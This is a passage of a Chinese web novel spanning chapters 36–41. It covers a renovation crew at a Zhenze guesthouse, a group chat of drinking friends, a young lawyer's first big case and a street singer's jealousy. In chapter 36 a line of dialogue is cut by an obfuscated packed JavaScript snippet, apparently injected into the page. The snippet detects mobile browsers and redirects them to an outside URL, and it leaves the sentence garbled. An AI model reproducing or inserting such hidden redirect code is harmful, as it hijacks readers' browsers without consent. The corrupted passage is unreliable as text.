“砚哥,来不及了,她还十几分钟就到。”陈禹带着截然不同的松弛感,对老板说道:“阿婆,你们这的特色早点再帮忙来一份......就是那个放了萝卜丝的!” 陆砚看着盘里的团子,团子里的馅料有菜花头、萝卜丝和咸菜,方才一口咬下去,觉得口感弹润细腻,如今只感觉像吃了老鼠药似的难受。 人心的成分比传承三代人的团子复杂,也比团子更难品出内里的构成。 怀着最后一丝侥幸,他目露期盼:“你说的她,是指颜朵吗?” “嘿,巧了不是,她名字也两个字,姓方,叫方霖。” “...” 男人语气有些压着的兴奋,就像第一次逃课去网吧那样把手搭上来: “假如我混的是官场,这次向你透露,就属于是投名状,以后你有我的把柄,我属于百分百的你的人了。” 在听到‘方霖’两个字后,陆砚的眼睛就失去了高光。 呵,好个投名状,我想当好人,你别拖我下水啊! ‘啪’的把筷子轻拍桌上,“我的人?人家是一个利益集体做事,你这对我有什么好处?” 问题直指核心—— 投名状这东西多存在古代,如今海清河晏、社会公平、人民幸福指数全宇宙名列前茅,哪里需要这么肮脏的东西呢? 陆砚打心底排斥这件事,但陈禹一句话封了他的嘴: “兄弟就是用来麻烦的,我挣扎过,没办法了。” “...” 曾经有个类似的问题拷问过青少年时期的陆砚: 你会因为一个坏名声,而疏远对你好的人吗? 当时他的回答是,人家又没对不起我,干嘛疏远。 如今......依稀觉得有些不对,却已不重要—— “哟,她提前到了!” 说罢,陈禹起身去门口,对着一辆白车招手。 车停好,车门打开,一个虽然还没看清面容,却可以感受其身上年轻活力的女人,背着个黑色双肩包,缓缓下车。 第三十六章 酒文化研究所 下午和张野冯小军照常做事,衣服沾得灰扑扑的,他截然没有以前敏感。 一边干活,一边心里算账,之后把陈禹那批仿古砖赖掉,大概共计可以多出六千多块的利润,虽然还是不够看,但已经平衡些了。 接下来,还有没有其他地方可以扣出点钱来呢? 想着想着,脑海控制不住回溯早上两人当街拥抱的画面......看起来就像纯洁恩爱的情侣......可世界如此恶趣味。 当时陆砚不断催促自己做些什么,不为了陈禹和颜朵,不为了和他们的情分,就为了理想中、纯洁而神圣的婚姻,也应该及时喝止,再不济,该及时割席。 可二十五岁以前和二十五岁以后的世界是截然不同的,真理早经由世事打磨刻在骨子里—— 无法挽救任何人,也无法改变任何人。 他能做的只有恪守自己的原则,不谄媚、不轻谩、就事论事的对待每个人...... 此时,冯小军敲得手有些发麻,坐墙角休息,脑子里十分清晰回忆起昨晚,他和张师傅在桌上的对话—— 黄橙橙的灯,黑漆漆的夜,偶尔一丝风声奏响,酒酣畅、人自由: “小军,这么多年,陆哥没一次把我带着和他的朋友认识过,你知道为什么吗?” 冯小军当时很诧异,隐隐感到会听到些不好的话,想打岔,看着男人的脸,却什么都说不出。 “他和我骨子里就是两个世界的人,不是有句话总结得好吗......不是一个圈子就别硬挤。但待久了还是有默契的,我不挤,陆哥也没拉我进去。” “张哥,人不才说了吗,以前忙着嘞......想想老洋房那阵子,我们还要值夜班,哪有空啊。” 说完,倒把自己给说不自信了——哪有天天守夜班的? 可张野显得开心,痛饮一大口,喝完像吃了辣油火锅,深吸一口气: “在理,确实如此。我刚才想到什么来着?哦对,娶老婆......我呐,反正赚的些钱全回馈社会了......小军你以后要多存钱,娶个漂亮又疼人的......来这么多天,我想吃香菜了......” 酒不醉人人自醉,说的就是当时的情形。 如果不是后面陆师傅和他的朋友又回来续摊,跟苏棠玩了几轮猜拳,恐怕张师傅能当场哭出来...... 从开始实习到如今,也整整两个月时间了,随着慢慢了解,冯小军对几人的感官发生了一次次翻转再翻转。 似乎,大伙都有好几副面孔,又估不准,是不是同一副面孔、在不同人眼中,呈现不一样的模样。 人之复杂究竟几何? 搞不明白。 唯一能确定的是,这里比学生会复杂。 ...... 今天踩着点下了班——其实律所对于独立律师而言并没有明确的上下班时间,甚至来去几乎没约束。 但顾南乔不一样,此前是‘含着奶嘴’的律师,即使现在上面没了教导律师,她依旧恍惚,以为自己需要准点来准点走。 总之今天是久违的、踩着五点半的节点离开了恶心的16楼。 哼着歌,在四个人的群里发了条消息,上了网约车,随车流直奔酒馆而去。 很快,名叫‘破吉他’的酒友就回了消息:你吃晚饭了吗?菜单发群里,你看看要点什么。@我系统呢 随后方方正正的四张图把对话框挤满,吃的喝的相对普通,但此刻她不挑。 我系统呢:威士忌加冰,一点烤串就行。 破吉他:(OK.jpg) 过了一个晚高峰的左转红灯,车子又缓缓启动,群聊里的对话就像顾南乔的晚餐点菜一样简短,石子投入湖面后再没有一丝涟漪。 这不影响兴致。 她先是挑了张‘喝酒干杯’的表情包把朴素的群头像替换,随后构思编写着群通知的一二三条内容...... 当然,群名肯定要先改好——酒文化研究所上海总部。 公告编写到‘3.酒文化研究不得无故旷工,条件不允许可以申请线上陪喝’的时候,消息响铃传来。 墨斗先生:加点主食吧,孩子单下巴都饿出来了@破吉他 顾南乔手指划过上面每个字眼,每个字眼横竖端详,字句缝隙中的‘关心’硬是藏不住。 嘴角翘了翘,长按消息,对手机说道—— 我系统呢:(语音)听说现在流行单下巴我才留的,不好看吗。 另一边,陆砚在桌上和众人吃着饭,瞧了眼语音转文字后的内容,没立刻回,而是对旁边说: “语棠,多吃菜,现在流行双下巴。” 沈语棠拿筷子的手突然滞住,仰着脑袋投来不明所以的目光。 “陆哥,你也是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16199367|177150||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 唐朝的审美?” “小军哥,还有谁是唐朝的审美?” 聊到审美的话题,张野可就不困了,一口桑葚酒润喉,‘啪’的塑料杯往桌上一磕: “说那三国野史里有记载,唐朝的李隆基好丰满女子......” 起手式相似,然而这位文化底子差了太多—— 神踏马三国野史里面有唐朝,还有,唐玄宗在你口里就只是‘唐朝的李隆基’? 陆砚没眼看,也不想听,找了个由头下桌去回消息。 (酒文化研究所上海总部) (以下内容皆为语音) 我系统呢:听说现在流行单下巴我才留的,不好看吗。 破吉他:好看的,纵观潮流五百年,随便把哪个年代穿越拧出来,你都属于好看的类型。 陈禹:每个人审美不一样,人家问你了吗。 破吉他:玛德,勾......属狗的兄弟有点东西,但是你可曾晓得,咬人的狗不叫的道理。 陈禹:人家,问,你,了吗? 破吉他:6 话题原在这里惨遭绝杀,隔了两分钟,新消息出现—— 我系统呢:刚才没看到消息,乐哥夸我,我肯定爱听的呀。 破吉他:我店向来优待高素质客户,今天的晚餐算我的。 此时,看着群里聊得火热,陆砚感到阵阵不可思议。 要知道,曾经的三人群,一个月加起来都没这会聊得多。 不是没话聊,而是聊得高效。 比如说:某人发了个‘?’,有一个人回了个‘1’,酒局即刻生效。 一般默认破吉他酒馆,若要在其他地方,发个定位即可。 还文字?还语音?多新鲜呐! 当即,陆砚也加入到对话—— 墨斗先生:@破吉他 墨斗先生:你说谁不是高素质客户,我认识吗。 我系统呢:@墨斗先生 我系统呢:人要向前看齐,以后跟姐多学学,饿不死的。 破吉他:是的,一朵花绽开了,万紫千红还会远吗。 陈禹:恶心,我都不敢外放。 墨斗先生:你是要隐蔽点,我预感颜朵一会又要打视频过来。 陈禹:你实话实说呗,我钓鱼佬还不能闲暇时间独处一会啦。 破吉他:他老婆,跟你视频? 我系统呢:没事,一会我们打视频,电话占线就行了。 第三十七章 棠的破防 招牌在冬天的傍晚准时点亮,破吉他到了。 非众所周知,酒馆的老板偶尔会给打车过来的乘客提供迎宾服务,至于这个‘偶尔’的频次分布呈几何,就像函数中‘x与y’,和某人的出现是一一对应的关系 鞋跟踩上地面,一身女式西装显得有些严肃,但不失职业带来的魅力加持。 阿乐见到那抹淡蓝色的第一刻就走上来,步子快而不急促,表情精准把控在友好以上、谄媚之下,心情随怦咚、怦咚的血液开始愉悦—— 早就忘了那天,听到对方说‘心上人’时的沮丧,只觉得,大家伙像朋友一样喝酒聊天也是极好的。 “好久不见呀,顾律师。” “下班了喊我名字就好了,乐哥。” 她的咬字连话语的尾音都那样动听,称呼脱口便带着暖和劲,两人间的关系似乎因为昨晚的牵线好了些。 阿乐知道,这份好,不是往暧昧方向发展的。 可男女关系只盯着暧昧看,那无疑还不懂男女关系,也不懂何为喜欢。 “好呀好呀,快请进,吃的喝的已经就位。” 走进灯牌下的店门,穿过褪成鸭蛋青色的门帘,此时六点出头,破吉他酒馆只有三两个客人待在角落。 面前一杯啤酒,桌上两碟小菜,既不聊天、也不吃东西,就干坐着。 就像大多数连续剧都避免不了平淡的剧情,每个人的人生也都有需要打发的时间,顾南乔这段时间感触尤深。 也正因如此,才格外珍惜如今的局面。 “不是吧,真给我上主食啊。” 阿乐从后厨走来,托盘上放了份年糕和甜汤,笑呵呵回道: “招待不周,招待不周。” ...... 苏棠今天背了把比较厉害的吉他出门——某个好心姐姐路过时送的。 当时她背着吉他而来点了首寂寞的季节,听完后问了个问题,放下书和吉他而去,说是打赏。 那是苏棠自街头卖艺以来,收到最大的一笔打赏,想来对方是欣赏她到无以复加的地步了。 她是这样骗自己的。 总之今天又是美美唱歌的一天,不知道破吉他里面的忠实粉丝有没有在大厅等得坐立难安呢? 推开印有歇山顶手绘图的鸭蛋青门帘,暖色调的灯光从唱台上方一直铺到了吧台侧边的墙面,四五桌客人的场子谈不上气氛活络。 果然,她不来,这里还是弱一档。 视线扫过,阿乐正好端托盘从后厨出来。 “老板,我来了!” “嘿,来了呀,昨天还有客人问你什么时候回来呢!” 什么样的工作氛围员工愿意出力? 抛开金钱激励外,提供情绪价值的老板无疑是受到员工爱戴的。 苏棠本想谦虚一番,但实在憋不住好奇:“那......有几个客人在问呀?” 端盘就要路过的阿乐不愧是端盘路过的阿乐,端着盘子就路过了。 这出废话尽显的形容,无比贴合男人的侧重点和此时首要的心思。 “来啦来啦,放心,烤串特意要厨师少放油了,吃了还是单下巴的大美女!” 微微蹲起,盘放稳,规模颇为富足的烤盘放满了内容。 这里留了个小心机—— 只要对方一客气,说东西太多了,他就找机会坐下陪吃陪喝,后面自然就顺理成章地陪聊、陪...... 顾南乔大大方方表示感谢后,眼睛看过来说: “美女吃饭一般都躲着吃,有人在旁边放不开的。” “额......哈哈,是的是的,形象管理我懂的。” 话溜出口,人也准备一个转身溜走时,她拍了拍桌子: “乐哥,开玩笑的,不是你提,我压根没形象包袱的好伐?” 再精致的妆容也比不上天生丽质的美貌,拥有美貌的年轻女人里面,言语张力把控最好的,阿乐认为,非眼前之人莫属。 被三言两语说得起兴,他乐呵呵说了句‘稍等’,便跑去前台调酒,调了一半跑过来问口味,口味确定好了又特地把酒馆灯光调暗,拿了个小夜灯摆上,将氛围拉满。 唱台前的苏棠看到自家老板像卫星一样围着转、还转得不亦乐乎。 没来得及鄙夷,就冷不丁地见女人回了头, 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“嗯是的......沈姐!” 他冲着屋里头喊了一嗓子:“上次给语棠录的视频还在不在?” 不待沈秀娥回答,小姑娘撑着的扑克脸先败得彻底,慌张看向灶房门帘处—— 沈秀娥掀帘、探头: “你说的哪回?都在的呀,我发你?” “姆妈!不行!” “哈哈哈——” 如果说驴子前面悬着根胡萝卜、拉磨整天不会累,那么晚饭便是他们的胡萝卜,饭桌上的沈语棠就是胡萝卜中的帝王胡萝卜上最嫩的尖尖。 没有这一口滋味,胡萝卜是没有灵魂的! 跑开的女孩似乎去后面跟老板娘展开了持久的谈判,偶有沈秀娥的笑声传来,这声音里没有杂念、没有算计,听得人放松。 吃完以后,陆砚正准备上去洗澡的时候,群里,陈禹发起了视频邀请。 画面中,顾南乔早早点了接受,此时对着手机‘比耶’。 第三十八章 苦情歌 如果有什么比撞见那个女人更尴尬的事,那么一定是彼此呆在同一片空间、碍于礼貌不得不上去打招呼的时刻。 苏棠一边告诉自己,就和平时一样、就和平时一样,然后回忆平时是怎么和顾客打招呼的...... 不是,平时为什么要顾客打招呼啊? 偶尔人家称赞一句,自己顺着回复就好了,哪里有过这般局面? 她全然没有站过‘为什么不能是对方过来问好’的角度思考问题,何况那个时刻,自己会更不自在、更被动。 原地磨蹭几分钟后,还是挪动过去,站在女人背后,迎着阿乐的目光,慢慢开口: “顾......律师,好巧呀!” 哎,还好改口得快,没有喊顾姐姐。 据说电视剧里的女反派尤为敏感称呼,她们恨不得一辈子当绿茶妹妹! 顾南乔回头的时候带着笑,像心情不错: “巧呀,多才多艺的小姑娘。” 多才多艺? 自己还没唱就先夸了......难道这就是传说中的捧杀? 不待谦虚一下,突然,余光接收的画面让身子僵了一分—— 确切来说,是手机里一个熟悉的人影。 压着一瞬间涌上喉头的五味陈杂,在话语掉地上之前赶忙说道:“那,我去唱台了,可以点歌。” 转身瞬间她咬了咬牙,竟发现后槽牙是如此坚硬,自己是如此弱小又软弱。 她们的对话会被听到吗?他又会在她面前提起自己的名字吗? 以后,是不是不用给他打视频了? 像盆水浇在头顶,脑子里回放着手机里的画面——男人笑着,面前放了杯震泽镇的桑葚酒,桌子是她坐过的桌子,那天他们玩得很开心。 一股说不上名称的情绪盘踞胸口,无以言表,唯有......歌唱。 ...... 民宿大厅的长桌上,三个男人连同另一边的两人喝酒。 具体的说,是在‘酒文化研究所上海总部的第一次线上会议下,研究酒的换算比例’。 上海总部的人一致认为,桑葚酒度数低,三口一杯合理; 苏州分部的人碍于没有请己方律师的缘故,只能苦苦咬着酒的后劲做文章,甚至一度想请后劲受害者出面作证。 他们的传唤被灶房前神奇的门帘挡了去,沈语棠暂时无力突破封印。 于是暂时依照上海总部的标准,小酌着,找微醺的感觉。 “乔乔,苏棠为什么见你这么怕?你对她做了什么?” “那边的新朋友,你有点自来熟啊,咱们才认识一天你就喊小名?” 闻言陆砚喊话另一个男人:“乐哥,你是怎么喊的她?” “害,我没你油腻,老实得很,都是喊美女的。” “哈哈哈——” 苏州、上海,民宿、小酒馆,五个人笑对镜头碰杯。 这一刻,虚的实的、男的女的,都因社交幽默时刻而感觉美好,直到—— “在你眼中我是谁/你要我代替谁/彼此交换喜悲/爱的多的人总先掉眼泪......” 背景音乐一出,几个男人笑声又续上了。 倒不是因为缺乏共情能力,而是,苏棠的嗓音唱悲伤的情歌,总有股为赋新词强说愁的喜感。 至少陆砚听见熟悉又亲切的音色,便喜得不得了,仿佛那天桥洞下诙谐的马儿跑到此时、悄悄蹭着裤角。 “美女,你别喝这么快啊,威士忌喝快了上头也快。” 他漫不经心地调侃着,对面漫不经心地回答道: “乐哥昨天不是说了吗,上头了有位置睡。” “......楼上,就一张床。” 顾南乔抬眼,对面的阿乐连忙保证:“我睡楼下,打地铺!” 手机里的男人不依不饶:“不是新朋友吗?要不要这么自来熟?” 此时,女人倒显得轻言细语了些,出现经典的安抚话语: “蒜鸟蒜鸟,说那么多有的没的干嘛呀,喝吧,我都口渴了。” 话音刚落,又是一大口,看得陆砚眉心直跳,再没有所谓的‘漫不经心’,直接沈语棠(破防版)附体: “你是没喝过酒呀?喝那么快,我们怎么跟进度?还能不能愉快地玩耍了?” 上海总部的两个人、在各自的画框里笑得开心。 他们像无耻的吸血虫,隔着屏幕把这边所有......把陆砚一个人的快乐吸走了。 他知道,顾南乔不是那样的人,就是有时候爱来点人来疯...... 万一玩脱了呢? 对身为男人的阿乐可没那么多信心——玩脱了,一个不慎可就脱了啊! 压着烦,在镜头外皱了皱眉,也不管张野他们怎么看,总之此刻这躁热烧得比想象中迅猛。 “陆砚,手机歪了,我看不见你。” “...” “我不唱声嘶力竭的情歌/不代表没有心碎的时刻/我不曾摊开伤口任宰割/愈合/就无人晓得/我内心挫折/活像个孤独患者/自我拉扯/外向的孤独患者有何不可......” 一曲接着一曲,不需要磨合,和弦蹦得格外顺利,就像这把吉他多年前就适应了苦情的曲子。 不管台下有没有掌声,苏棠准备接着弹唱周杰伦的轨迹时,那个女人拿着手机过来。 “苏棠,一位远在他乡的潜在客人说,他想听点开心的歌。” 吉他声停,律师近了几步,手机转过来,陆砚的声音即刻传过来: “喂!苏棠!唱点开心的,然后记得去阿乐桌上吃点喝点休息会呀!” 她先看看镜头里的人,再看看顾南乔,最后把目光放在手机上,小声说: “知道啦......但是我不想吃东西......今天吃得很饱。” “小丫头这就不上道啦,我跟阿乐有仇知道吧?帮我狠狠地吃他一顿。” 不知道为什么,苏棠听着这话高兴了些,但就是没胃口,也不想去吃免费的大餐。 而且顾南乔还举着手机在,不能让人多等,遂决定认真拒绝: “我真的——” “来坐坐吧,唱那么久老板早够本了。你是不知道,刚坐下的时候他就冲我嚷呢,说没把苏棠喊来吃东西,说我做人不够意思。” 迎上目光,目光里的诚恳像七月的阳光一样化了心头积雪。 突然,她就不想唱歌了。 大概是律师说服力吧,此时情绪竟然改换得如此之快,苏棠立马就把吉他放台上,有点不好意思地笑了笑,跟上顾南乔。 第三十九章 曾经的路 下楼送客的时候,苏棠看着和自己睡了三晚的表妹,两人情不自禁地想起了房间偷喝酒被当场逮捕的事,那会苏棠惨烈但是仗义地抗下了所有。 说到喝酒和扛下所有,又情不自禁地想到昨晚顾南乔把她送到门口时候,对方竟意外的讲究,三言两语就替自己开脱了去。 车子在挥手告别中启动、驶离,两家人将在之后的岁月、走过不同的岔路,欣赏不同的风景,然后等待血脉再次呼唤,他们再次穿越城市人海汇聚于某个点。 亲戚便是这样,不能常见、也不能不见,偶尔聚一聚的时候,情感最真挚。 “咔哒!” 一家三口回来,都没来得及喝口水,梅丽华就0帧起手道: “苏棠,不是我说你,你不要以为有个好文凭就可以混日子了。现在距离高考过去都多久了?也该努努力收心啦!” “妈,昨天顾姐姐不是说了吗,都是她劝我喝的。” 说道顾南乔,女人脸上神色一缓,却换了个角度继续说训斥: “你不能就喝酒跟人家看齐,她努力的时候你怎么不看看呢? 苏棠,咱们都是普通人,不是天才。你以前成绩好是因为方法对、环境好,加上那时候认真努力,现在呢? 不要忘了一时的成功是怎么来的,不要掉以轻心......” 意外的,梅丽华说完这些便及时打住,既没有说减少生活费,也没有提什么要求。 苏国喜见主事人发完言场面依旧平和,在国企深耕多年的老办事员当即凑上来,给苏棠竖了个大拇指: “厉害啊我闺女,都能让大律师亲自送回来了......先科律所呢,啧啧,交朋友的本事,有你爸当年的影子了。” 眼见海浪打了个旋便退潮,这一刻,苏棠意识到,自己已经到独自掌舵人生的境地了,或许,父母正在放手目送她远行。 一想到如此感人的画面,她就抑制不住的兴奋——每当对方底线松动的时候,便是自己得寸进尺之时。 喝酒?晚归?下次还敢! “哎,爸你也真是,干嘛那么会鬼混,搞得我天天控制不住我自己呀~” “理解理解,虎父无犬子,我老苏家骨子里就流着爱自由的血液。” 正当苏棠得意微笑时,梅丽华慢慢悠悠说道,“你爸说得没错,快点收拾行李去学校住着吧,给你自由。” “...” ...... “不能工作的早起也是极有价值的,据说旭日初升之时天地之间会诞生一缕紫气,若是配以对应心法,日益复一日的早起参悟,便能修成紫气东来的绝学。” 有的人走了,但他还在。 如果有一天小黑成了大师,那么张野会在他众多门徒中排行几何呢? 陆砚吸溜完碗底最后一点内容,慢慢悠悠擦嘴起身,两人一起去村里转悠—— 窄路越走越宽,桑树、麦地,镇和村的边界便由这些为参照。 南浦浜村亦属于震泽镇的管辖,震泽镇有‘中国丝绸小镇’的名头,南浦浜村便也在这名头之下。 实际上真的走过一圈才发现,事情是多面的,最最醒目的标签,不一定就是最具有概括性的特征。 一路上,忽略猫猫狗狗的友好叫唤,他们发现村里最抢眼的便是成片成片的大棚。 塑料膜在晨光里泛着白亮的光,从村口一直铺到河浜边,膜下隐约晃着层深绿,看不清种的什么,只觉得规整得很。 “陆哥,现在年轻人一个个都是熬大夜的高手。” 陆砚挑眉,“你说的是小军?” “那可不嘛......天亮我起来上厕所,您猜怎么着?那小子在厕所还精神得很!” “...” 你最好祈祷他是在里面玩游戏,不然,这梁子就深了。 正说着,河浜边传来铁锹铲土的响。 赵老汉蹲在菜畦边薅草,十一月末的风刮着,不影响见着两人后脸上堆起的笑: “陆师傅,小张!” 张野动作快,摸出兜里的烟递过去——是镇上小卖部买的便宜货。 东西一旦打上便宜货的标签后,手里中南海的烟盒即使再平整,也像皱巴巴的报纸。 老汉捏着烟盒颠了颠,眉头皱了下,嘴上叹着: “小兄弟,年轻也不能这么亏待自个啊。” 小兄弟乐呵呵笑道:“嘿!那肯定没哥哥你的烟好抽,自那天遇到你后,现在抽这个硬是觉得不得劲。” 所谓兄弟伙,不就是见面你捧我、我捧你时的热乎劲吗? 赵老汉得意一笑,这一刻,比抽了不呛嗓子的货还舒坦。 可随即表情凝重了—— “哥哥你今天带烟了吗?” ...... 怕效果适得其反,没有再去王师傅那露脸,转完一圈就原路返回。 路上边感叹张野的腹黑,边想着,人和人之间是否真有相性相克? 赵老汉一身毛病外面罩着圆滑的外衣,偏偏张野就是可以破了这金钟罩、直取一包烟—— 如此看来,人和人之间莫不真有股冥冥注定的克制。 就是不知道自己会是谁的克星呢....... 脚刚踏上民宿门口缺角的青石板,冯小军就从门里撞了出来,推着两人往外走。 他此时脸上的白,应该不止是营养流失造成的。 “怎么了小军哥?总不能是民宿的水管也爆了吧?” 曾几何时,那些事情就像一场噩梦,如今离上海远了些,竟也有了拿出来说笑的勇气。 三人在屋子旁边、黑色皮卡车旁站定,他往民宿门的方向瞥了眼,压低声音,咬着后槽牙说: “那对情侣,闹翻天了。刚卷着铺盖走了,老板娘......免了全单。” 陆砚‘哦’了一声,脚边的草叶还沾着露水。 他没见过那场面,冯小军嘴里的‘闹翻天’,在他脑子里只是团模糊的影子—— 是摔了东西?还是红着眼骂了人? 不是不信,而是想不出全貌。 例如闹事者是怎样的态度、找得怎样自圆其说的言辞、最后又发挥了怎样的无理取闹,他统统不知。 对于老板娘独自经营的心酸、面对闹事者的无力忍让、还不得不自吞苦果赔笑脸送客,也统统不知。 就像听别人讲一场与自己无关的雨,知道下过,却没沾湿衣角。 冯小军还咬着牙念叨: “那女的把杯子都摔了,说咱们施工吵着她睡觉,男的就拍桌子要报警......” 说得起劲,脖子都红了,仿佛字句里还记着当时的玻璃碎响。 陆砚和张野没接话。 或许这就是人性的聪明吧——住够了、玩够了,趁他们人不在,逮着一个中年女人撒泼,捞一笔好处走人。 风从皮卡车的缝隙里钻过,呜呜地响,像谁在低低地哭。 三人沉默,往回走。 刚迈过门槛,就撞见沈秀娥从灶房出来,围裙上沾着面粉,手里捏着块擦碗布,见他们进来,脸上堆起笑,眼角的细纹使劲地堆: “今天蒸了我们这里的定胜糕,待会都尝尝啊。” 如平常一样的语气,像什么都没发生过,仿佛冯小军嘴里的争吵、摔砸,不过是灶膛里烧尽的灰。 可是她脖颈后那缕没绾好的头发,被门前的晨光照得刺亮。 陆砚突然庆幸,当时沈语棠没有在家。 随即又想到,这么些年下来,民宿里发生的、那些没说出口的忍让,怕是能装满灶房那口装水的老缸。 大抵,母女俩都习惯了。 张野挠着头喊‘沈姐’,冯小军低着头往楼上钻。 寒暄之中,双方心照不宣没提刚才的坏事——他们都知道,现在一马平川,唯有铆足力气工作。 沈秀娥已经转身往灶房走,步子不快,却稳当,围裙带子在身后轻轻晃...... 这女人的脊梁骨,怕是比路边老桑树还硬,被风刮了这么多年,愣是没弯过。 当然,一码归一码,装修过程中该省的要省。 第四十章 五天后 干活的时候总想着,要是时间能快一点就好了。 没想到一股神秘的力量干预下,愿望成真,五天很快就过去了。 客人走后,民宿正式歇业,冯小军把精力尽数投射到白花花的墙面。 日头东升西落,自己的腰杆从硬到软,墙上新刷的腻子,一天天从软到硬,渐渐干透了。 原计划五周完工,每周一个阶段,最后花几天做美化。 可一开始就慢了进度,这几天大家都加了把劲追赶。 将最后一袋废料拖到民宿旁的荒地时,天已经擦黑了。 抬手抹了把汗,往裤子上蹭,拍了拍手上的灰——七个房间,总算快过完一遍了。 “小师傅,差不多能喊他们下来吃饭啦!” 是沈秀娥,没了客人牵绊、大厅挤着四张床和杂物,她走路还是那么快。 冯小军应着‘哎’,心里叹她精神头足: 每日三餐、换洗收拾,空了就跑上楼来看看。 起初以为是来监工的,没想到人半点没指手画脚,反倒搭了不少小忙——递个工具、送个水,手脚麻利得很。 都说二十一天养成个习惯,他们跟老板娘一家子,也处顺了。 “陆哥,张哥,放学啦!” 可不是嘛,跟楼上那两位,更是顺得睡一个地。 “张哥,走了,进度也赶得差不多了。” 张野仰头灌了大半瓶水,摸出手机靠在扶梯上没动:“你先下去,反正洗澡得排队,我殿后。” 他看似是想玩会儿手机,陆砚却懂——一群人一身灰扑扑的下楼,杵在哪都不合适,不如在楼上等着,等浴室空了再下去。 好在男人洗澡快,五分钟就能搞定。 陆砚点点头,先下了楼。 ...... 在法律实务中,律师因专业领域限制或案件复杂性,寻求其他律师合作的情况极为普遍。 就像三甲医院的会诊制度,每个科室的医生各掌一域,神经外科的刀再锋利,遇上心内科的疑难杂症也得请专科医生联手。 每个领域的律师就是一个精密齿轮,唯有咬合精准才能驱动复杂案件的正义判决。 即,单带发育之后开始团战。 对于顾南乔而言,‘团队作案’更是轻车熟路。 在先科的两年,她大部分都在团队打辅助,像块海绵浸在各类案件里—— 商事仲裁时帮资深律师核对证据链,知识产权案里整理专利文献,甚至在黄埔厂清算案中跑遍六个区县调取工商档案。 那时安慰自己: 做琐碎的辅助工作看得才仔细,更能为专业认知搭骨架,这些骨架终将撑起属于自己的摩天楼。 未料摩天大楼的检验来得如此之快。 没想到啊、万万没想到,以她的名气,居然会有其他公司的律师带着金融与房地产交叉的大案子找过来。 涉案金额近二十亿的烂尾楼重组案,光是卷宗就堆满了半间会议室,既涉及信托资金兑付的金融监管问题,又牵扯业主集体维权的群体性纠纷,连承办法官都特意叮嘱要组建‘超强战队’...... 更为蹊跷的是,组建跨办公室、跨行业的联合团队里,就她一个出自先科。 其他成员不是深耕房地产十五年的老法师,就是在金融监管领域写过专著的学界大咖。 第一次开碰头会她报出自己的律所名称时,对面几位眼神都藏着惊讶。 这感觉,就像某大佬专门点名提携一样......不,十有八九就是。 “顾律师,恭喜啊,没想到你人脉这么广。” 顾南乔弯了弯嘴角,随口应了同事一句‘运气好’,就快步走出办公区。 走廊尽头的窗边安静无人,直接拨通了顾明远的电话。 “爸,是不是你帮我介绍的?” 她开门见山,声音压得很低。 电话那头明显愣了一下:“介绍什么?” “一个烂尾楼重组,二十亿标的,团队里全是行业大佬,就我一个先科的人。”她顿了顿,“真不是你?” 顾南乔记得自己家里和地产走得近,只是没道理,老顾帮忙会瞒着自己。 话筒传来声音,语气里带着鼓励: “爸爸不比以前了,要真有那本事早把你弄进金杜了......乔乔,这是别人认可你......” 挂了电话,她握着手机出神。 不管怎么说都是件极有成就感的事,但那会听见老顾的声音,明明话里头是以前一直追寻的欣慰,她竟然有些想落泪。 眼前仿佛看到了两个人——一个挺着胸,意气风发,好像全世界都该为他让路;另一个勾着背,眼神黯淡,连说话都...... 他们都是自己的父亲。 那瞬间她胸膛里烧着把火。 顾南乔想着,即使这把火的燃料是自己,也要成功一次。 惶恐?不安?会不会是请人背锅、反手把自己送进去? 指尖划过卷宗上密密麻麻的批注,笑了笑。 要是自己业务能力这么低下,那是该进去好好补课。 ...... 桌上三个男人头发还微微泛潮,沈语棠扫了一圈,照常拿起筷子吃饭,胳膊却被陆砚轻轻戳了一下—— 如今人少,座位坐得宽松,他这一下差点没碰到。 “语棠,有话就说。” 人多少都有点表达欲,这欲望会随经历慢慢淡下去,可右手边这位明显不在此列。 相处这些天,陆砚也摸清了规律: 她有话会先憋一会,心里磨清楚了再讲。 这习惯的标志,全在那双忽闪的眼睛里。 “陆哥,你们该剪头发了……我妈妈会剪。” 说完,也确实意识到,头发比之前干得慢了。 三人的发型本就简单,就算是最考验手艺的,也无非是‘两边剪短’的经典款。 “好啊,一会儿就麻烦老板娘了。”张野摸了摸自己的后脑勺,憨笑:“老板娘这几天不会是打算抽空在门口支个剃头摊子吧?” 话音刚落,门帘后就传来沈秀娥的声音:“倒是个主意,可惜手艺生疏了,怕剪得不好,没人肯买单哦。” 幽默。 只是对稍微注重形象的陆砚和冯小军来说,这幽默里带点‘黑色’。 张野没这顾虑,大不了剪成平头,真剪岔了索性剃个光头,也省事。 所以这会儿,场上唯一确定会买单的,非他莫属。 帮沈语棠把爱吃的鸡翅端近了些,小姑娘毫不含糊地夹走最后一个,而且,没说‘谢谢’。 ‘谢谢’是个带着奇怪语境的词,有时候没说,比说了效果还好。 效果好,便意味着关系到位,关系到位,一些话就好讲了。 “沈老师,一会咱们正儿八经地讲课,咱正儿八经的向您反馈点意见?” 沈老师是个讲究人,给人回话的时候会第一时间停下吃东西的动作: “没问题,陆哥。” 是的,你是我老师,我是你陆哥,他们向来各论各。 第四十一章 日常 “等等,打住,你得先告诉我,什么是‘通经断纬’,我到现在都是懵的......还有经线纬线,综片、戗色的,语棠,你要解释清楚才可以接着往下讲。” 人和人相处就和谈恋爱一样,一开始披着各个美好品质的外衣拉近关系,等关系突破到一定程度后,便开始褪去外衣,展现自己黑暗的...... 总之,陆砚认为现在已经可以上点强度了。 “陆哥......你之前怎么不告诉我。” 坏了,这语气怎么真像谈恋爱剧本了? 陆砚坐正肃了肃口吻,示意对面的沈语棠先放下手中丝线,慢而稳的说: “很多事情我们不能只讲一个理论,之前我是先让你去体验教学的过程。但是现在该到第二个阶段了,咱们要往一个适合客人理解的方向讲课,明白吗?” 此时大有种学生翻身做老师的既视感,但事实上,陆砚一直是以这样心态扮演的学生。 下克上嘛,经典款。 好在对面不是个死犟的人,当即虚心请教后续。 